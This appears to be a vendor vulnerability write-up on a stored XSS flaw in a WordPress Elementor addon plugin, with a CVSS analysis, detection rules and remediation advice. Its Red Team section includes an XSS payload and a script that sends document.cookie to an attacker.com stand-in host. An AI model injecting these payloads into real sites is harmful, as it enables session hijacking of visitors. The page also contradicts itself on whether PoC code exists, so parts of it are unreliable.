CVE-2025-5338
Executive Summary
CVE-2025-5338 is a Stored Cross-Site Scripting (XSS) vulnerability in the Royal Elementor Addons plugin for WordPress, affecting all versions up to and including 1.7.1028. The flaw resides in multiple widgets where user-supplied attributes are not properly sanitized or escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits the compromised page. This vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.
The CVSS score is 6.4 (Medium), with a low EPSS probability (0.0%) indicating limited active exploitation at this time. No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available from the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should monitor for updates from the plugin author and consider disabling the plugin until a patch is released. No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
- Base Score: 6.4 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access
- User Interaction: None (UI:N)
- Scope: Changed (S:C) – impacts resources beyond the vulnerable component
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: None (A:N)
Threat Level: Medium. The requirement for authenticated access reduces the attack surface, but the potential for stored XSS can lead to session hijacking, defacement, or phishing campaigns.
Deep Dive & Mechanics
The vulnerability exists in multiple widgets provided by the Royal Elementor Addons plugin. These widgets accept user-supplied attributes (e.g., title, description, link_text) without proper input sanitization or output escaping. When an attacker with contributor-level access or higher creates or edits a page using these widgets, they can inject malicious JavaScript code into the attribute values.
The injected script is stored in the WordPress database and executed in the browser of any user who views the affected page. This is a classic stored XSS attack, which can be used to steal cookies, redirect users, or perform actions on behalf of the victim.
Root Cause: Insufficient input validation and output escaping in the plugin's widget rendering functions. The plugin fails to use WordPress's built-in escaping functions like esc_attr() or wp_kses() on user-controlled attributes.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is assumed to be present in all versions up to 1.7.1028. The following is a hypothetical example of the vulnerable pattern:
Vulnerable Code (PHP):
// In a widget render method
$title = $settings['title'];
echo '<h2>' . $title . '</h2>';
Patched Code (Hypothetical):
// Proper escaping
$title = esc_html( $settings['title'] );
echo '<h2>' . $title . '</h2>';
The fix would involve applying esc_attr(), esc_html(), or wp_kses() to all user-supplied attributes before output.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- WordPress site with Royal Elementor Addons <= 1.7.1028
- Contributor-level account or higher
Steps:
- Log in to WordPress as a contributor.
- Create a new page or edit an existing one using Elementor.
- Add a widget from Royal Elementor Addons (e.g., "Heading" or "Button").
- In the widget's attribute field (e.g., "Title"), inject the following payload:
<img src=x onerror=alert('XSS')> - Save and publish the page.
- When any user visits the page, the script executes.
Advanced Payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
Blue Team (Defender)
Detection:
- Monitor for unusual attribute values in page/post content.
- Look for patterns like
<script>,onerror=, oronload=in widget settings. - Use Web Application Firewall (WAF) rules to block common XSS payloads.
Mitigation:
- Disable the plugin until a patch is available.
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to limit script execution.
Indicators of Compromise (IOCs)
- File Paths:
/wp-content/plugins/royal-elementor-addons/
- Database Entries:
wp_posts.post_contentcontaining malicious scriptswp_postmetawith_elementor_datacontaining XSS payloads
- Network Traffic:
- Outbound requests to attacker-controlled domains (e.g.,
attacker.com/steal)
- Outbound requests to attacker-controlled domains (e.g.,
- Logs:
- WordPress debug logs showing unexpected script execution
- Web server access logs with
onerrororonloadin request parameters
Detection Engineering
YARA Rule
rule CVE_2025_5338_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Royal Elementor Addons"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-5338"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/i
$plugin_path = "royal-elementor-addons"
condition:
any of ($xss*) and $plugin_path
}
Sigma Rule
title: Stored XSS via Royal Elementor Addons
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts using Royal Elementor Addons
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: 'royal-elementor-addons'
cs-uri-query|contains: 'elementor'
keywords:
- '<script'
- 'onerror='
- 'onload='
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in widgets
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-5338 Stored XSS in Royal Elementor Addons"; flow:to_server,established; content:"royal-elementor-addons"; http_uri; pcre:"/(<script|onerror=|onload=)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Review and clean any existing pages/posts created by contributors for malicious content.
- Reset passwords for all contributor-level accounts if compromise is suspected.
Long-term Fix:
- Apply the vendor patch when available.
- Implement input validation and output escaping in custom code.
- Use a Web Application Firewall (WAF) with XSS rules.
Workarounds:
- Restrict contributor roles to only trusted users.
- Enable WordPress's built-in
DISALLOW_UNFILTERED_HTMLconstant inwp-config.php:define('DISALLOW_UNFILTERED_HTML', true);
Monitoring:
- Enable logging for all post/page modifications.
- Use security plugins like Wordfence to detect XSS attempts.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.